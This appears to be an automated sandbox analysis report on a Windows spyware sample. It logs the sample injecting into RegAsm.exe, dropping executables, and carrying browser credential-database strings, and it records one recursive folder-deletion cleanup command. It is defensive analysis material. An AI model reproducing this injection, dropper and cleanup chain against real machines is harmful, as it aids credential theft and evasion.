Source: Joe Sandbox View	Dropped File: C:\ProgramData\EBKJDBAAKJ.exe 836CE1411F26919F8FB95548D03C2F4DFD658FC525DFE21C7BE8ED65F81A5957

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5C9B10 appears 82 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C72DAE0 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C6D9F30 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C7209D0 appears 176 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053EA30 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5C3620 appears 74 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 36 times

Source: 66fb252fe232b_Patksl.exe

Static PE information: invalid certificate

Source: 66fb252fe232b_Patksl.exe, 00000000.00000000.2261041406.0000000000730000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFge.exe\ vs 66fb252fe232b_Patksl.exe
Source: 66fb252fe232b_Patksl.exe, 00000000.00000002.2293869752.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs 66fb252fe232b_Patksl.exe
Source: 66fb252fe232b_Patksl.exe, 00000000.00000002.2292577294.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 66fb252fe232b_Patksl.exe
Source: 66fb252fe232b_Patksl.exe	Binary or memory string: OriginalFilenameFge.exe\ vs 66fb252fe232b_Patksl.exe

Source: 66fb252fe232b_Patksl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 66fb252fe232b_Patksl.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: d4BihqytT0FhOpDvoGEczZzm.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HDGIJJDGCB.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66fbfcc9963ca_ldfsna[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@49/65@18/17

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_6C600300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

7_2_6C600300

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

7_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004327D0 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

3_2_004327D0

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\66fb252fe232b_Patksl.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Users\userBAKKEGCAAE.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3084:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_4
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6264:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: 66fb252fe232b_Patksl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 66fb252fe232b_Patksl.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001318000.00000004.00000020.00020000.00000000.sdmp, IIECFHDBAAECAAKFHDHI.32.dr, IDHJEB.7.dr, HJECAA.29.dr, KFBFCA.7.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3608769212.000000001B88C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3627573510.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 66fb252fe232b_Patksl.exe

ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe "C:\Users\user\Desktop\66fb252fe232b_Patksl.exe"
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGIJJDGCB.exe "C:\ProgramData\HDGIJJDGCB.exe"
Source: C:\ProgramData\HDGIJJDGCB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HDGIJJDGCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBKJDBAAKJ.exe "C:\ProgramData\EBKJDBAAKJ.exe"
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AAAKEBGDAF.exe "C:\ProgramData\AAAKEBGDAF.exe"
Source: C:\ProgramData\AAAKEBGDAF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\AAAKEBGDAF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDGCGDBGCAAE" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userDHCAECGIEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userDHCAECGIEB.exe "C:\Users\userDHCAECGIEB.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAKKEGCAAE.exe "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDGIJJDGCB.exe "C:\ProgramData\HDGIJJDGCB.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBKJDBAAKJ.exe "C:\ProgramData\EBKJDBAAKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\AAAKEBGDAF.exe "C:\ProgramData\AAAKEBGDAF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDGCGDBGCAAE" & exit	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\AAAKEBGDAF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userDHCAECGIEB.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userDHCAECGIEB.exe "C:\Users\userDHCAECGIEB.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userDHCAECGIEB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAKKEGCAAE.exe "C:\Users\userBAKKEGCAAE.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userBAKKEGCAAE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
